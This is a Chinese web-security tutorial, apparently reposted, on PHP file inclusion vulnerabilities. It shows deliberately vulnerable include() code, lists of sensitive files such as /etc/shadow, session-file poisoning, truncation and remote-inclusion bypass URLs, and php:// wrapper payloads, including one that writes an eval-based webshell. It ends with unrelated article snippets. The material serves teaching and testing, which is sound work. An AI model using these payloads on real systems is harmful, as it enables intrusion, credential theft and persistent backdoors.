渗透测试--文件包含漏洞

news2025/5/19 11:46:48

文件包含漏洞

前言

《Web安全实战》系列集合了WEB类常见的各种漏洞,笔者根据自己在Web安全领域中学习和工作的经验,对漏洞原理和漏洞利用面进行了总结分析,致力于漏洞准确性、丰富性,希望对WEB安全工作者、WEB安全学习者能有所帮助,减少获取知识的时间成本。

0x01 文件包含简介

服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这会为开发者节省大量的时间。这意味着您可以创建供所有网页引用的标准页眉或菜单文件。当页眉需要更新时,您只更新一个包含文件就可以了,或者当您向网站添加一张新页面时,仅仅需要修改一下菜单文件(而不是更新所有网页中的链接)。

文件包含函数

PHP中文件包含函数有以下四种:

require()

require_once()

include()

include_once()

includerequire区别主要是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行。

include_once()require_once()这两个函数,与前两个的不同之处在于这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。

漏洞产生原因

文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。

示例代码

<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

  
  

    例如:

    $_GET['filename']参数开发者没有经过严格的过滤,直接带入了include的函数,攻击者可以修改$_GET['filename']的值,执行非预期的操作。

    0x02 本地文件包含漏洞

    无限制本地文件包含漏洞

    测试代码:

    <?php
        $filename  = $_GET['filename'];
        include($filename);
    ?>
    
      
      

      测试结果:

      通过目录遍历漏洞可以获取到系统中其他文件的内容:

      测试结果

      常见的敏感信息路径:

      Windows系统

      c:\boot.ini // 查看系统版本

      c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件

      c:\windows\repair\sam // 存储Windows系统初次安装的密码

      c:\ProgramFiles\mysql\my.ini // MySQL配置

      c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码

      c:\windows\php.ini // php 配置信息

      Linux/Unix系统

      /etc/passwd // 账户信息

      /etc/shadow // 账户密码文件

      /usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件

      /usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置

      /usr/local/app/php5/lib/php.ini // PHP相关配置

      /etc/httpd/conf/httpd.conf // Apache配置文件

      /etc/my.conf // mysql 配置文件

      session文件包含漏洞

      利用条件:

      session的存储位置可以获取。

      1. 通过phpinfo的信息可以获取到session的存储位置。

      通过phpinfo的信息,获取到session.save_path为/var/lib/php/session:

      获取到session的存储位置

      2. 通过猜测默认的session存放位置进行尝试。

      如linux下默认存储在/var/lib/php/session目录下:

      默认存储

      session中的内容可以被控制,传入恶意代码。

      示例:

      
        
        

      <?php

      session_start();

      $ctfs=$_GET['ctfs'];

      $_SESSION["username"]=$ctfs;

      ?>

        漏洞分析

        此php会将获取到的GET型ctfs变量的值存入到session中。

        当访问http://www.ctfs-wiki/session.php?ctfs=ctfs 后,会在/var/lib/php/session目录下存储session的值。

        session的文件名为sess_+sessionid,sessionid可以通过开发者模式获取。

        通过开发者模式获取

        所以session的文件名为sess_akp79gfiedh13ho11i6f3sm6s6。

        到服务器的/var/lib/php/session目录下查看果然存在此文件,内容为:

        
          
          

        username|s:4:"ctfs";

        [root@c21336db44d2 session]# cat sess_akp79gfiedh13ho11i6f3sm6s6

        username|s:4:"ctfs"

          漏洞利用

          通过上面的分析,可以知道ctfs传入的值会存储到session文件中,如果存在本地文件包含漏洞,就可以通过ctfs写入恶意代码到session文件中,然后通过文件包含漏洞执行此恶意代码getshell。

          当访问http://www.ctfs-wiki/session.php?ctfs=<?php phpinfo();?>后,会在/var/lib/php/session目录下存储session的值。

          
            
            

          [root@6da845537b27 session]# cat sess_83317220159fc31cd7023422f64bea1a

          username|s:18:"<?php phpinfo();?>";

            攻击者通过phpinfo()信息泄露或者猜测能获取到session存放的位置,文件名称通过开发者模式可获取到,然后通过文件包含的漏洞解析恶意代码getshell。

            解析恶意代码getshell

            有限制本地文件包含漏洞绕过

            %00截断

            条件:magic_quotes_gpc = Off php版本<5.3.4

            测试代码:

            <?php
                $filename  = $_GET['filename'];
                include($filename . ".html");
            ?>
            
              
              

              测试结果:

              http://www.ctfs-wiki.com/FI/FI.php?filename=../../../../../../../boot.ini%00
              
                
                

                测试结果

                路径长度截断

                条件:windows OS,点号需要长于256;linux OS 长于4096

                Windows下目录最大长度为256字节,超出的部分会被丢弃;

                Linux下目录最大长度为4096字节,超出的部分会被丢弃。

                测试代码:

                <?php
                    $filename  = $_GET['filename'];
                    include($filename . ".html");
                ?>
                
                  
                  

                  EXP:

                  http://www.ctfs-wiki.com/FI/FI.php?filename=test.txt/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
                  
                    
                    

                    测试结果

                    点号截断

                    条件:windows OS,点号需要长于256

                    测试代码:

                    <?php
                        $filename  = $_GET['filename'];
                        include($filename . ".html");
                    ?>
                    
                      
                      

                      EXP:

                      http://www.ctfs-wiki.com/FI/FI.php
                      ?filename=test.txt.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                      
                        
                        

                        测试结果

                        0x03 远程文件包含漏洞

                        PHP的配置文件allow_url_fopen和allow_url_include设置为ON,include/require等包含函数可以加载远程文件,如果远程文件没经过严格的过滤,导致了执行恶意文件的代码,这就是远程文件包含漏洞。

                        allow_url_fopen = On(是否允许打开远程文件)

                        allow_url_include = On(是否允许include/require远程文件)

                        无限制远程文件包含漏洞

                        测试代码:

                        <?php
                            $filename  = $_GET['filename'];
                            include($filename);
                        ?>
                        
                          
                          

                          测试代码

                          通过远程文件包含漏洞,包含php.txt可以解析。

                          http://www.ctfs-wiki.com/FI/FI.php?filename=http://192.168.91.133/FI/php.txt
                          
                            
                            

                            测试结果:

                            测试结果

                            有限制远程文件包含漏洞绕过

                            测试代码:

                            <?php include($_GET['filename'] . ".html"); ?>
                            
                              
                              

                              代码中多添加了html后缀,导致远程包含的文件也会多一个html后缀。

                              测试代码

                              问号绕过
                              http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt?
                              
                                
                                

                                问号绕过

                                #号绕过
                                http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt%23
                                
                                  
                                  

                                  #号绕过

                                  还有哪些可以绕过?用burp跑一遍发现空格也可以绕过:

                                  空格绕过

                                  http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt%20
                                  
                                    
                                    

                                    空格绕过

                                    0x04 PHP伪协议

                                    PHP 带有很多内置 URL 风格的封装协议,可用于类似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系统函数。 除了这些封装协议,还能通过 stream_wrapper_register() 来注册自定义的封装协议。

                                    目录

                                    目录

                                    php:// 输入输出流

                                    PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。

                                    php://filter(本地磁盘文件进行读取)

                                    元封装器,设计用于"数据流打开"时的"筛选过滤"应用,对本地磁盘文件进行读写。

                                    用法:?filename=php://filter/convert.base64-encode/resource=xxx.php ?filename=php://filter/read=convert.base64-encode/resource=xxx.php 一样。

                                    条件:只是读取,需要开启 allow_url_fopen,不需要开启 allow_url_include;

                                    条件

                                    测试代码:

                                    <?php
                                        $filename  = $_GET['filename'];
                                        include($filename);
                                    ?>
                                    
                                      
                                      

                                      测试代码

                                      php://input

                                      可以访问请求的原始数据的只读流。即可以直接读取到POST上没有经过解析的原始数据。 enctype="multipart/form-data" 的时候 php://input 是无效的。

                                      用法:?file=php://input 数据利用POST传过去。

                                      php://input (读取POST数据)

                                      碰到file_get_contents()就要想到用php://input绕过,因为php伪协议也是可以利用http协议的,即可以使用POST方式传数据,具体函数意义下一项;

                                      测试代码:

                                      <?php
                                          echo file_get_contents("php://input");
                                      ?>
                                      
                                        
                                        

                                        测试结果:

                                        测试结果

                                        php://input(写入木马)

                                        测试代码:

                                        <?php
                                            $filename  = $_GET['filename'];
                                            include($filename);
                                        ?>
                                        
                                          
                                          

                                          条件:php配置文件中需同时开启 allow_url_fopen 和 allow_url_include(PHP < 5.3.0),就可以造成任意代码执行,在这可以理解成远程文件包含漏洞(RFI),即POST过去PHP代码,即可执行。

                                          如果POST的数据是执行写入一句话木马的PHP代码,就会在当前目录下写入一个木马。

                                          <?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>
                                          
                                            
                                            

                                            在当前目录下写入一个木马

                                            测试结果:

                                            测试结果

                                            如果不开启allow_url_include会报错:报错信息

                                            php://input(命令执行)

                                            测试代码:

                                            <?php
                                                $filename  = $_GET['filename'];
                                                include($filename);
                                            ?>
                                            
                                              
                                              

                                              条件:php配置文件中需同时开启 allow_url_fopen 和 allow_url_include(PHP < 5.30),就可以造成任意代码执行,在这可以理解成远程文件包含漏洞(RFI),即POST过去PHP代码,即可执行;

                                              POST过去PHP代码如果不开启allow_url_include会报错:

                                              报错信息

                                              file://伪协议 (读取文件内容)

                                              通过file协议可以访问本地文件系统,读取到文件的内容

                                              测试代码:

                                              <?php
                                                  $filename  = $_GET['filename'];
                                                  include($filename);
                                              ?>
                                              
                                                
                                                

                                                测试代码

                                                data://伪协议

                                                数据流封装器,和php://相似都是利用了流的概念,将原本的include的文件流重定向到了用户可控制的输入流中,简单来说就是执行文件的包含方法包含了你的输入流,通过你输入payload来实现目的; data://text/plain;base64,dGhlIHVzZXIgaXMgYWRtaW4

                                                data://(读取文件)

                                                和php伪协议的input类似,碰到file_get_contents()来用; <?php // 打印 "I love PHP" echo file_get_contents('data://text/plain;base64,SSBsb3ZlIFBIUAo='); ?>

                                                注意:<span style="color: rgb(121, 121, 121);"><?php phpinfo();,这类执行代码最后没有?></span>闭合;

                                                如果php.ini里的allow_url_include=On(PHP < 5.3.0),就可以造成任意代码执行,同理在这就可以理解成远程文件包含漏洞(RFI) 测试代码:

                                                <?php
                                                    $filename  = $_GET['filename'];
                                                    include($filename);
                                                ?>
                                                
                                                  
                                                  

                                                  测试结果

                                                  phar://伪协议

                                                  这个参数是就是php解压缩包的一个函数,不管后缀是什么,都会当做压缩包来解压。

                                                  用法:?file=phar://压缩包/内部文件 phar://xxx.png/shell.php 注意: PHP > =5.3.0 压缩包需要是zip协议压缩,rar不行,将木马文件压缩后,改为其他任意格式的文件都可以正常使用。 步骤: 写一个一句话木马文件shell.php,然后用zip协议压缩为shell.zip,然后将后缀改为png等其他格式。 

                                                  测试代码:

                                                  <?php
                                                      $filename  = $_GET['filename'];
                                                      include($filename);
                                                  ?>
                                                  
                                                    
                                                    

                                                    测试结果

                                                    zip://伪协议

                                                    zip伪协议和phar协议类似,但是用法不一样。

                                                    用法:?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名] zip://xxx.png#shell.php。

                                                    条件: PHP > =5.3.0,注意在windows下测试要5.3.0<PHP<5.4 才可以 #在浏览器中要编码为%23,否则浏览器默认不会传输特殊字符。

                                                    测试代码:

                                                    <?php
                                                        $filename  = $_GET['filename'];
                                                        include($filename);
                                                    ?>
                                                    
                                                      
                                                      

                                                      测试结果

                                                      本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2299940.html

                                                      如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

                                                      相关文章

                                                      【线性代数】2矩阵

                                                      1.矩阵的运算 1.1.定义 矩阵行列式数表数行数和列数可以不相等行数和列数必须相等1.2.加法与数乘 矩阵的数乘:所有元素都乘这个数 矩阵的加法:对应位置处元素相加 🦊已知,求 1.3.乘法 矩阵乘法三步法 ①能不能乘:内定乘 ②乘完是何类型:外定型 ③中的元素是什么:左…

                                                      python从入门到进去

                                                      python从入门到进去 第一章、软件和工具的安装一、安装 python 解释器二、安装 pycharm 第二章、初识 python一、注释可分三种二、打印输入语句三、变量1、基本数据类型1.1、整数数据类型 int1.2、浮点数数据类型 float1.3、布尔数据类型 boolean1.4、字符串数据类型 string 2、…

                                                      DeepSeek与医院电子病历的深度融合路径:本地化和上云差异化分析

                                                      一、引言 1.1 研究背景与意义 在医疗信息化快速发展的当下,电子病历系统已成为医院信息管理的核心构成。电子病历(EMR)系统,是指医务人员在医疗活动过程中,使用医疗机构信息系统生成的文字、符号、图标、图形、数据、影像等数字化信息,并能实现存储、管理、传输和重现的…

                                                      苍穹外卖day4 redis相关简单知识 店铺营业状态设置

                                                      内存存储 键值对 key-value 一般用于处理突发性大量请求数据操作&#xff08;暂时浅显理解&#xff09; 读写速度极快&#xff0c;常用于缓存数据&#xff0c;减少对数据库的访问压力&#xff0c;提高系统性能。例如&#xff0c;可以缓存用户会话、商品信息、页面数据 设置默…

                                                      pycharm社区版有个window和arm64版本,到底下载哪一个?还有pycharm官网

                                                      首先pycharm官网是这一个。我是在2025年2月16日9:57进入的网站。如果网站还没有更新的话&#xff0c;那么就往下滑一下找到 community Edition,这个就是社区版了免费的。PyCharm&#xff1a;适用于数据科学和 Web 开发的 Python IDE 适用于数据科学和 Web 开发的 Python IDE&am…

                                                      使用新版本golang项目中goyacc依赖问题的处理

                                                      背景 最近项目使用中有用到go mod 和 goyacc工具。goyacc涉及到编译原理的词法分析&#xff0c;文法分析等功能&#xff0c;可以用来生成基于golang的语法分析文件。本期是记录一个使用中遇到的依赖相关的问题。因为用到goyacc&#xff0c;需要生成goyacc的可执行文件。 而项目…

                                                      Ubuntu 24.04.1 LTS 本地部署 DeepSeek 私有化知识库

                                                      文章目录 前言工具介绍与作用工具的关联与协同工作必要性分析 1、DeepSeek 简介1.1、DeepSeek-R1 硬件要求 2、Linux 环境说明2.1、最小部署&#xff08;Ollama DeepSeek&#xff09;2.1.1、扩展&#xff08;非必须&#xff09; - Ollama 后台运行、开机自启&#xff1a; 2.2、…

                                                      python语言进阶之函数

                                                      目录 前言 函数的创建和调用 函数创建 调用函数 参数传递 形式参数和实际参数 位置参数 数量必须与定义时一致 位置必须与定义时一致 关键字参数 为参数设置默认值 可变参数 **parameter 返回值 变量的作用域 局部变量 全局变量 匿名函数 前言 提到函数&…

                                                      Mybatis-扩展功能

                                                      逻辑删除乐观锁 MyBatisPlus从入门到精通-3&#xff08;含mp代码生成器&#xff09; Db静态工具类 Spring依赖循环问题 代码生成器 MybatisPlus代码生成器 枚举处理器 我们这里用int来存储状态 需要注解&#xff0c;很不灵活 希望用枚举类来代替这个Integer 这样的话我…

                                                      Baklib知识中台构建企业智能运营核心架构

                                                      内容概要 在数字化转型的浪潮中&#xff0c;企业对于知识的系统化管理需求日益迫切。Baklib作为新一代的知识中台&#xff0c;通过构建智能运营核心架构&#xff0c;为企业提供了一套从知识汇聚到场景化落地的完整解决方案。其核心价值在于将分散的知识资源整合为统一的资产池…

                                                      保姆级GitHub大文件(100mb-2gb)上传教程

                                                      GLF&#xff08;Git Large File Storage&#xff09;安装使用 使用GitHub desktop上传大于100mb的文件时报错 The following files are over 100MB. lf you commit these files, you will no longer beable to push this repository to GitHub.com.term.rarWe recommend you a…

                                                      【16届蓝桥杯寒假刷题营】第2期DAY1I

                                                      4.有向无环的路径数 - 蓝桥云课 问题描述 给定 N 个节点 M 条边的有向无环图&#xff0c;请你求解有多少条 1 到 N 的路径。 由于答案可能很大&#xff0c;你只需要输出答案对 998244353 取模后的结果。 输入格式 第一行包含 2 个正整数 N,M&#xff0c;表示有向无环图的节…

                                                      DeepSeek 助力 Vue 开发:打造丝滑的面包屑导航(Breadcrumbs)

                                                      前言&#xff1a;哈喽&#xff0c;大家好&#xff0c;今天给大家分享一篇文章&#xff01;并提供具体代码帮助大家深入理解&#xff0c;彻底掌握&#xff01;创作不易&#xff0c;如果能帮助到大家或者给大家一些灵感和启发&#xff0c;欢迎收藏关注哦 &#x1f495; 目录 Deep…

                                                      Ubuntu 系统 LVM 逻辑卷扩容教程

                                                      Ubuntu 系统 LVM 逻辑卷扩容教程 前言 在 Linux 系统中&#xff0c;LVM&#xff08;Logical Volume Manager&#xff09;是一种逻辑卷管理工具&#xff0c;允许管理员动态调整磁盘空间&#xff0c;而无需重启系统。 本文将详细介绍如何使用 LVM 扩容逻辑卷&#xff0c;以实现…

                                                      7-Zip Final绿色版:高效压缩解压缩工具

                                                      在工作与学习旅程中&#xff0c;我们时常需要与各式各样的文件和文件夹打交道。为了更有效地利用存储空间或促进文件的便捷传输&#xff0c;压缩与解压工具自然而然地成为了我们不可或缺的助手。在众多同类工具中&#xff0c;7-Zip凭借其高效能、免费及开源的特性&#xff0c;深…

                                                      QML使用ChartView绘制饼状图

                                                      一、工程配置 首先修改CMakeLists.txt&#xff0c;按下图修改&#xff1a; find_package(Qt6 6.4 REQUIRED COMPONENTS Quick Widgets) PRIVATEtarget_link_libraries(appuntitledPRIVATE Qt6::QuickPRIVATE Qt6::Widgets )其次修改main.cpp&#xff0c;按下图修改&#xff…

                                                      【Android开发】华为手机安装包安装失败“应用是非正式版发布版本,当前设备不支持安装”问题解决

                                                      问题描述 我们将Debug版本的安装包发送到手机上安装&#xff0c;会发现华为手机有如下情况 解决办法 在文件gradle.properties中粘贴代码&#xff1a; android.injected.testOnlyfalse 最后点击“Sync now”&#xff0c;等待重新加载gradle资源即可 后面我们重新编译Debug安装…

                                                      Ubuntu添加桌面快捷方式

                                                      以idea为例 一. 背景 在ubuntu中&#xff0c;很多时候是自己解压的文件并没有桌面快捷方式&#xff0c;需要自己找到对应的目录的执行文件手动打开&#xff0c;很麻烦 而只需要在 /usr/share/applications 中创建自定义的desktop文件就能自动复制到桌面 二. 添加方法 创建desk…

                                                      day09_实时类标签/指标

                                                      文章目录 day09_实时类标签/指标一、日志数据实时采集2、Flume简介2.3 项目日志数据采集Flume配置2.3.1 涉及的Flume组件和参数2.3.2 Nginx日志采集2.3.3 用户行为日志采集 二、Nginx日志数据统计1、日志格式说明2、数据ETL2.1 日志抽取2.1.1 正则表达式2.1.2 基于Spark实现Ngi…

                                                      排序算法的魔法世界:用C语言揭开数据排列的奥秘

                                                      当数据开始跳集体舞:排序的意义 想象你面前有一群调皮的数字精灵在开派对,7和3在跳探戈,9和1在玩捉迷藏,5和2在抢蛋糕。这时候就需要排序算法这位神奇的派对管家出场了!它像音乐指挥家一样挥动魔棒,让所有数字精灵乖乖排成整齐的队伍。在计算机的世界里,排序算法就是处…